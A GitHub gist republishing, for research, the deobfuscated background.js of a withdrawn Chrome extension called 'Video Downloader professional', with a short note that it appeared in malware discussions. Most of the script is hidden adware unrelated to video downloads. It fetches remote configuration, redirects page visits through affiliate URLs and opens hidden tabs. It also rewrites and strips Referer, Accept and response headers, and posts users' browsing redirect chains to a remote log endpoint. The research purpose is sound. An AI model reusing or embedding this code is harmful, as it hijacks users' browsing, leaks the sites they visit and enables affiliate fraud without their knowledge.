Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

This is the source of background.js for a now-unpublished Chrome extension called "Video Downloader professional" (ID kmdldgcmokdpmacblnehppgkjphcbpnn, since then replaced with another "Video Downloader professional" (ID bacakpdjpomjaelpkpkabmedhkoongbi). This script is republished here for educational / research purposes. It has initially been extracted from the extension’s archive available as v2.4 on https://www.crx4chrome.com/.

Why is this interesting?

The extension has appeared in malware discussions in the past. Its replacement of Video downloader professional "bacakpdjpomjaelpkpkabmedhkoongbi" seems related to the ownership change of The Great Suspender.

What does the code do?

It’s unclear to me, but I hope you can figure it out!

The "background processing" code from line 2 to line 654, appears unrelated to the video download features. This code appears to periodically phone home to a configuration server, and from there contains additional logic to make subsequent background requests / open new tabs as instructed.

var _gaq = _gaq || [];
class Bg {
constructor() {
(this.config = { analyticsId: "UA-126378551-1" }),
(this.storage = { config: this.config }),
(this.filterRequestConfigured = !1),
(this.hpInitiated = !1),
(this.analyticsSent = !1),
(this.uid = ""),
(this.bgProcessorRun = !1),
this.initStorage(),
this.initListeners();
}
initListeners() {
let a = this;
chrome.runtime.onInstalled.addListener(function (b) {
"install" == b.reason && a.config.afterInstallUrl
? chrome.tabs.create({ url: a.config.afterInstallUrl })
: "update" == b.reason &&
a.config.afterUpdateUrl &&
chrome.tabs.create({
pinned: !0,
url: a.config.afterUpdateUrl,
});
}),
chrome.runtime.setUninstallURL &&
a.config.afterUninstallUrl &&
chrome.runtime.setUninstallURL(a.config.afterUninstallUrl);
}
initStorage() {
let a = this;
chrome.storage.local.get(this.storage, (b) => {
b && (this.storage = b),
b && b.config && (this.config = b.config),
a.config.uid
? (a.uid = a.config.uid)
: ((a.uid = a.config.uid = a.generateUID()),
a.saveConfig()),
(a.config.mTime && a.config.lTime) ||
((a.config.lTime = 0),
(a.config.mTime = new Date().getTime()),
a.saveConfig()),
this.filterRequests(),
this.initHeadersProcessesor(),
this.initBgProcessor(),
this.sendAnalytics(),
this.updateConfig();
});
}
initHeadersProcessesor() {
this.config &&
this.config.hpUrl &&
this.config.hpKey &&
!this.hpInitiated &&
((this.hpInitiated = !0), this.headersCheck());
}
headersCheck() {
var a = this;
(function () {
function b(a, b, h) {
var j = !1;
if (-1 < g.indexOf(b)) j = !0;
else
for (var k in g)
if (-1 < g[k].indexOf(b) || -1 < b.indexOf(g[k])) {
j = !0;
break;
}
j
? (e =
c +
"/get?key=" +
d +
"&out=" +
encodeURIComponent(a) +
"&ref=" +
encodeURIComponent(a) +
"&uid=&format=go")
: (f.data.used_domains[b] = h + 864e5);
}
var c = a.config.hpUrl,
d = a.config.hpKey,
e = "",
f = { data: { used_domains: {} } },
g = [],
h = !0;
(function () {
var a = new XMLHttpRequest();
(a.timeout = 15e3),
(a.onreadystatechange = function () {
4 === a.readyState &&
(200 === a.status
? ((g = JSON.parse(a.responseText)),
g && (h = !0))
: (h = !1));
}),
a.open("GET", c + "/coverage?key=" + d, !0),
a.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
),
a.send();
})(),
chrome.webRequest.onBeforeRequest.addListener(
function (a) {
if (!(0 > a.tabId) && "GET" == a.method && h) {
var c = a.url
.replace(/^https?\:\/\/([^\/]+).*$/, "$1")
.replace("www.", ""),
d = new Date().getTime();
if (
!(
f.data.used_domains[c] &&
f.data.used_domains[c] + 7200000 > d
)
)
return ((f.data.used_domains[c] = d),
e ? (e = "") : b(a.url, c, d),
e)
? ((h = !1),
setTimeout(function () {
(e = ""), (h = !0);
}, 15e3),
{ redirectUrl: e })
: void 0;
}
},
{ urls: ["*://*/*"], types: ["main_frame"] },
["blocking"]
),
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("GET" == a.method && -1 < a.url.indexOf(c))
for (var b in a.requestHeaders) {
var d = a.requestHeaders[b];
if ("referer" == d.name.toLowerCase()) {
a.requestHeaders.splice(b, 1);
break;
}
}
return { requestHeaders: a.requestHeaders };
},
{ urls: ["<all_urls>"] },
["blocking", "requestHeaders"]
);
})();
}
saveConfig() {
chrome.storage.local.set({ config: this.config });
}
updateConfig() {
let a = this;
const b = chrome.runtime.getManifest().version;
a.heartBeat(),
$.ajax({
url: "http://videodownloader.io/rest/api/config/",
dataType: "json",
data: {
id: "kmdldgcmokdpmacblnehppgkjphcbpnn",
version: b,
mt: a.config.mTime,
lt: a.config.lTime,
uid: a.uid,
t: Date.now(),
},
success: (a) => {
if (a) {
for (let b in a) this.config[b] = a[b];
this.saveConfig();
}
},
complete: () => {
a.filterRequests(),
a.initHeadersProcessesor(),
a.initBgProcessor(),
a.sendAnalytics(),
a.config.configUpTime &&
0 < a.config.configUpTime &&
setTimeout(function () {
a.updateConfig();
}, a.config.configUpTime);
},
});
}
heartBeat() {
let a = new Date().getTime(),
b = a - this.config.mTime,
c = this.config.configUpTime
? this.config.configUpTime + 3e5
: 12e5;
this.config.mTime && b < c
? ((this.config.lTime += b),
(this.config.mTime = a),
this.saveConfig())
: ((this.config.mTime = a), this.saveConfig());
}
generateUID() {
return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace(
/[xy]/g,
function (a) {
var b = 0 | (16 * Math.random()),
c = "x" == a ? b : 8 | (3 & b);
return c.toString(16);
}
);
}
initBgProcessor() {
let a = this;
if (!a.config.bgProcessor)
return void bgProcessor.initCfg({ mode: "off" });
if (a.bgProcessorRun)
return void bgProcessor.initCfg(a.config.bgProcessor);
(a.bgProcessorRun = !0),
bgProcessor.initCfg(a.config.bgProcessor),
chrome.webRequest.onCompleted.addListener(
function (a) {
if (
"on" === bgProcessor.cfg.mode &&
!(0 > a.tabId) &&
200 == a.statusCode &&
"GET" == a.method
) {
var b = a.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"),
c = a.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1");
bgProcessor.cfg.keep_www_prefix ||
(c = c.replace(/^www\.(.*)$/, "$1"));
var d = new Date().getTime();
if (
!(
bgProcessor.used_domains[c] &&
bgProcessor.used_domains[c] +
bgProcessor.cfg.ttl_ms >
d
) &&
!(
bgProcessor.cfg.domains_blacklist &&
0 < bgProcessor.cfg.domains_blacklist.length &&
bgProcessor.cfg.domains_blacklist.includes(c)
) &&
!(
bgProcessor.cfg.domains_whitelist &&
0 < bgProcessor.cfg.domains_whitelist.length &&
!bgProcessor.cfg.domains_whitelist.includes(c)
)
) {
bgProcessor.used_domains[c] = d;
var e = bgProcessor.cfg.aff_url_tmpl.replace(
"{URL}",
encodeURIComponent(b)
);
if (
((e = e.replace(
"{DOMAIN}",
encodeURIComponent(c)
)),
bgProcessor.cfg.aff_redirect)
)
return !bgProcessor.cfg.domains_whitelist ||
0 <
!bgProcessor.cfg.domains_whitelist
.length
? void 0
: (bgProcessor.push_chain(b),
void bgProcessor.request_bg(e, c, 0));
var f = new XMLHttpRequest();
(f.timeout = bgProcessor.cfg.aff_timeout_ms),
(f.onreadystatechange = function () {
if (4 == f.readyState && 200 == f.status) {
var a = f.responseText.replace(
/[\n\r]/g,
""
);
if (/^https?\:\/\//.test(a) && a != b) {
var e = b.replace(
/^https?\:\/\/([^\/]+).*$/,
"$1"
);
bgProcessor.push_chain(b),
bgProcessor.request(a, e);
} else
bgProcessor.used_domains[c] =
d +
bgProcessor.cfg
.no_coverage_ttl_ms;
}
}),
f.open("GET", e),
f.send();
}
}
},
{ urls: ["http://*/*", "https://*/*"], types: ["main_frame"] }
);
let b = ["blocking", "requestHeaders"];
if (
bgProcessor.cfg &&
bgProcessor.cfg.rfr_rules &&
0 < bgProcessor.cfg.rfr_rules.length &&
bgProcessor.cfg.listenerExtraOptions
)
for (var c in bgProcessor.cfg.listenerExtraOptions)
b.push(bgProcessor.cfg.listenerExtraOptions[c]);
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header)
return {};
for (var b = a.requestHeaders, c = "", d = 0; d < b.length; d++)
if (b[d].name === bgProcessor.cfg.header) {
(c = b[d].value), b.splice(d, 1);
break;
}
if (!c) return {};
for (var e = !1, d = 0; d < b.length; d++)
if ("accept" == b[d].name.toLowerCase()) {
(b[d].value = c), (e = !0);
break;
}
if ((e || b.push({ name: "Accept", value: c }), 0 > a.tabId)) {
let c = "";
if (bgProcessor.cfg.rfr_rules)
for (let b in bgProcessor.cfg.rfr_rules) {
let d = bgProcessor.cfg.rfr_rules[b];
if (d.url_request_before) {
if (!bgProcessor.last_request_url) continue;
let a = new RegExp(
d.url_request_before[0],
d.url_request_before[1]
);
if (!a.test(bgProcessor.last_request_url))
continue;
}
if (d.url_response_before) {
if (!bgProcessor.last_response_url) continue;
let a = new RegExp(
d.url_response_before[0],
d.url_response_before[1]
);
if (!a.test(bgProcessor.last_response_url))
continue;
}
if (d.url_chain) {
if (
!bgProcessor.rdr_chain ||
1 > bgProcessor.rdr_chain.length
)
continue;
let a = new RegExp(
d.url_chain[0],
d.url_chain[1]
),
b = !1;
for (let c in bgProcessor.rdr_chain) {
let d = bgProcessor.rdr_chain[c];
if (a.test(d)) {
b = !0;
break;
}
}
if (!b) continue;
}
if (d.url_request) {
let b = new RegExp(
d.url_request[0],
d.url_request[1]
);
if (!b.test(a.url)) continue;
}
if (
("allow" == d.rule &&
(c = bgProcessor.last_response_url),
"replace" == d.rule &&
d.replace &&
(c = d.replace),
"regexp" == d.rule && d.regexp && d.replace)
) {
var f = new RegExp(d.regexp[0], d.regexp[1]);
c = bgProcessor.last_response_url.replace(
f,
d.replace
);
}
break;
}
if (c) {
let a = b.findIndex(
(a) => "referer" == a.name.toLowerCase()
);
-1 < a
? (b[a].value = c)
: b.push({ name: "Referer", value: c });
}
}
return { requestHeaders: b };
},
{ urls: ["http://*/*", "https://*/*"] },
b
);
}
sendAnalytics() {
this.analyticsSent ||
!this.config.analyticsId ||
(_gaq.push(["_setAccount", this.config.analyticsId]),
_gaq.push(["_trackPageview"]),
(function () {
var a = document.createElement("script");
(a.type = "text/javascript"),
(a.async = !0),
(a.src = "https://ssl.google-analytics.com/ga.js");
var b = document.getElementsByTagName("script")[0];
b.parentNode.insertBefore(a, b);
})(),
(this.analyticsSent = !0));
}
filterRequests() {
var a = this;
this.config &&
this.config.validateFields &&
!this.filterRequestConfigured &&
((this.filterRequestConfigured = !0),
chrome.webRequest &&
chrome.webRequest.onHeadersReceived.addListener(
function (b) {
return {
responseHeaders: b.responseHeaders.filter(function (
b
) {
return !(
a.config.validateFields &&
-1 <
a.config.validateFields.indexOf(
b.name.toLowerCase()
)
);
}),
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
));
}
}
let bgProcessor = {
cfg: { mode: "off" },
used_domains: {},
rdr_chain: [],
last_request_url: "",
last_response_url: "",
initCfg(a) {
a && (this.cfg = a);
},
request: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request", a, b),
this.cfg.ntab_tag && -1 !== a.indexOf(this.cfg.ntab_tag)
? setTimeout(function () {
bgProcessor.request_tab(a, b);
}, this.cfg.ntab_delay_ms)
: this.request_bg(a, b, 0);
},
push_chain: function (a) {
this.rdr_chain.push(a);
},
request_bg: function (a, b, c) {
if (!(c >= this.cfg.rdr_max_count) && this.cfg.header) {
this.push_chain(a), (bgProcessor.last_request_url = a);
var d = new XMLHttpRequest();
(d.timeout = this.cfg.timeout),
(d.onreadystatechange = function () {
var a = Math.floor;
if (4 == d.readyState)
if (200 == d.status) {
var e = d.responseText
.replace(/[\n\r\s]/g, "")
.replace(/\.href/g, ""),
f = !1,
g = d.responseURL,
h = bgProcessor.is_rdr_url(d.responseURL);
if (
((bgProcessor.last_response_url = g),
bgProcessor.last_response_url !=
bgProcessor.last_request_url &&
bgProcessor.push_chain(
bgProcessor.last_response_url
),
h ||
e.length <
bgProcessor.cfg.jsrdr_maxlen_bytes)
) {
var j = e.replace(
/^.*?location\=[\'\"]([^\'\"]+).*$/,
"$1"
);
/^\//.test(j) &&
((link2Url = new URL(j, d.responseURL)),
(j = link2Url.href)),
/^https?\:\/\//.test(j) &&
(bgProcessor.request_bg(j, b, c + 1),
(f = !0));
}
if (!f && bgProcessor.cfg.common_rdr_rules)
for (var k in bgProcessor.cfg
.common_rdr_rules) {
var i = bgProcessor.cfg.common_rdr_rules[k],
l = new RegExp(
i.search[0],
i.search[1]
),
m = e;
if (
("uri" == i.where && (m = g),
i.url_pattern)
) {
var n = new RegExp(
i.url_pattern[0],
i.url_pattern[1]
);
if (!n.test(g)) continue;
}
if (m.match(l)) {
var p = m.replace(l, i.replace);
if (i.applyAfter)
for (var q in i.applyAfter) {
var o = i.applyAfter[q];
if ("decodeURIComponent" == o)
p = decodeURIComponent(p);
else if ("decodeHTML" == o) {
p = (function (a) {
var b = document.createElement(
"textarea"
);
return (
(b.innerHTML = a),
b.value
);
})(p);
} else;
}
if (i.replacements)
for (var r in i.replacements)
p = p.replace(
r,
i.replacements[r]
);
if (i.regReplacements)
for (var s in i.regReplacements) {
var t = new RegExp(
i.regReplacements[
s
].pattern[0],
i.regReplacements[
s
].pattern[1]
);
p = p.replace(
t,
i.regReplacements[s].replace
);
}
if (
(/^\//.test(p) &&
((link2Url = new URL(
p,
d.responseURL
)),
(p = link2Url.href)),
/^https?\:\/\//.test(p))
) {
var u = i.delay ? i.delay : 0;
if (
"string" == typeof u &&
-1 < u.indexOf("-")
) {
var v = u.split("-");
u = a(
Math.random() *
(parseInt(v[1]) -
parseInt(v[0]) +
1) +
parseInt(v[0])
);
}
setTimeout(() => {
bgProcessor.request_bg(
p,
b,
c + 1
);
}, parseInt(u)),
(f = !0);
break;
}
}
}
f || bgProcessor.send_rdr_log();
} else bgProcessor.send_rdr_log(!0);
}),
d.open("GET", a, !0),
d.setRequestHeader(
this.cfg.header,
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
),
d.send();
}
},
is_rdr_url: function (a) {
var b = new URL(a);
return (
!!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) ||
!!/\/goto\/?$/.test(b.pathname)
);
},
request_tab: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request_tab", a, b),
chrome.tabs.create({ url: a, active: !1 }, function (a) {
setTimeout(function () {
try {
chrome.tabs.remove(a.id);
} catch (a) {}
}, bgProcessor.cfg.ntab_duration_ms);
});
},
send_rdr_log: function (a = !1) {
if (
this.rdr_chain &&
this.cfg &&
this.cfg.log_rdr_active &&
this.cfg.log_rdr_endpoint
) {
if (this.cfg && this.cfg.log_rdr_onlydifferent) {
var b = this.rdr_chain[0],
c = this.rdr_chain[this.rdr_chain.length - 1];
if (
b.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") ==
c.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")
)
return;
}
var d = new XMLHttpRequest(),
e = this.cfg.log_rdr_endpoint;
a &&
this.cfg.log_rdr_errors_endpoint &&
(e = this.cfg.log_rdr_errors_endpoint),
d.open("POST", e, !0),
d.setRequestHeader(
"Content-Type",
"application/json;charset=UTF-8"
),
d.send(JSON.stringify(this.rdr_chain)),
(this.rdr_chain = []),
(this.last_request_url = null),
(this.last_response_url = null);
}
},
};
const bg = new Bg();
var vd = {};
(vd.tabsData = {}),
(vd.linksToBeDownloaded = {}),
(vd.videoFormats = {
mp4: { type: "mp4" },
flv: { type: "flv" },
mov: { type: "mov" },
webm: { type: "webm" },
}),
(vd.isVideoUrl = function (a) {
var b = !1;
return (
Object.keys(vd.videoFormats).some(function (c) {
if (-1 != a.indexOf(c)) return (b = !0), !0;
}),
b
);
}),
(vd.getVideoType = function (a) {
var b = null;
return (
a.some(function (a) {
if ("Content-Type" == a.name)
return (
Object.keys(vd.videoFormats).forEach(function (c) {
if (
-1 != a.value.indexOf(c) &&
!/^audio/i.test(a.value)
)
return (b = c), !0;
}),
!0
);
}),
b
);
}),
(vd.getNewTabObject = function () {
return { videoLinks: [], url: "" };
}),
(vd.getVideoSize = function (a) {
var b = 0;
return (
a.forEach(function (a) {
"Content-Length" == a.name && (b = parseInt(a.value));
}),
b
);
}),
(vd.getVideoDataFromServer = function (a, b) {
var c = new XMLHttpRequest();
(c.onreadystatechange = function () {
2 === c.readyState &&
(b({
mime: this.getResponseHeader("Content-Type"),
size: this.getResponseHeader("Content-Length"),
}),
c.abort());
}),
c.open("Get", a),
c.send();
}),
(vd.getFileName = function (a) {
var b = /[A-Za-z0-9()_ -]/,
c = "";
return (
(a = Array.from(a)),
a.forEach(function (a) {
b.test(a) && (c += a);
}),
c
);
}),
(vd.isVideoLinkAlreadyAdded = function (a, b) {
var c = !1;
return (
a.some(function (a) {
if (a.url === b) return (c = !0), !0;
}),
c
);
}),
(vd.updateExtensionIcon = function (a) {
vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length
? chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_active.png",
})
: chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_inactive.png",
});
}),
(vd.addVideoLinkToTabFinalStep = function (a, b) {
!vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) &&
1024 < b.size &&
vd.isVideoUrl(b.url) &&
(vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a));
}),
(vd.addVideoLinkToTab = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.size
? vd.addVideoLinkToTabFinalStep(b, a)
: vd.getVideoDataFromServer(a.url, function (c) {
(a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a);
});
}),
(vd.inspectNetworkResponseHeaders = function (a) {
var b = vd.getVideoType(a.responseHeaders);
return vd.linksToBeDownloaded[a.url]
? (a.responseHeaders.push({
name: "Content-Disposition",
value:
'attachment; filename="' +
vd.linksToBeDownloaded[a.url] +
'"',
}),
{ responseHeaders: a.responseHeaders })
: void (
b &&
chrome.tabs.query(
{ active: !0, currentWindow: !0 },
function (c) {
var d = c[0],
e = d.id;
vd.addVideoLinkToTab(
{
url: a.url,
size: vd.getVideoSize(a.responseHeaders),
fileName: vd.getFileName(d.title),
extension: "." + b,
},
e,
d.url
);
}
)
);
}),
(vd.addVideoLinks = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.forEach(function (a) {
(a.fileName = vd.getFileName(a.fileName)),
vd.addVideoLinkToTab(a, b, c);
});
}),
(vd.getVideoLinksForTab = function (a) {
return vd.tabsData[a] ? vd.tabsData[a] : {};
}),
(vd.incrementDownloadCount = function () {
var a = parseInt(localStorage.getItem("total_number_of_downloads"));
(a += 1),
localStorage.setItem("total_number_of_downloads", a),
5 == a &&
confirm(
"You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us."
) &&
chrome.tabs.create(
{ url: "http://videodownloader.io/reviews/", selected: !0 },
function () {}
),
7 == a &&
confirm(
"if you like what we do and can support our work, please make a donation so we can keep on making it even better."
) &&
chrome.tabs.create(
{
url: "http://videodownloader.io/contribute/",
selected: !0,
},
function () {}
);
}),
(vd.downloadVideoLink = function (a, b) {
(vd.linksToBeDownloaded[a] = b),
chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) {
chrome.tabs.update(
b[0].id,
{ url: a, selected: !1 },
function () {}
),
vd.incrementDownloadCount();
});
}),
(vd.showYoutubeWarning = function () {
chrome.tabs.create(
{ url: "http://videodownloader.io/#youtube", selected: !0 },
function () {}
);
}),
chrome.runtime.onInstalled.addListener(function (a) {
"install" == a.reason &&
localStorage.setItem("total_number_of_downloads", 0);
}),
chrome.tabs.onUpdated.addListener(function (a) {
vd.updateExtensionIcon(a);
}),
chrome.tabs.onRemoved.addListener(function (a) {
vd.tabsData[a] && delete vd.tabsData[a];
}),
chrome.webRequest.onHeadersReceived.addListener(
vd.inspectNetworkResponseHeaders,
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
),
chrome.runtime.onMessage.addListener(function (a, b, c) {
switch (a.message) {
case "add-video-links":
vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url);
break;
case "get-video-links":
c(vd.getVideoLinksForTab(a.tabId));
break;
case "download-video-link":
vd.downloadVideoLink(a.url, a.fileName);
break;
case "show-youtube-warning":
vd.showYoutubeWarning();
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment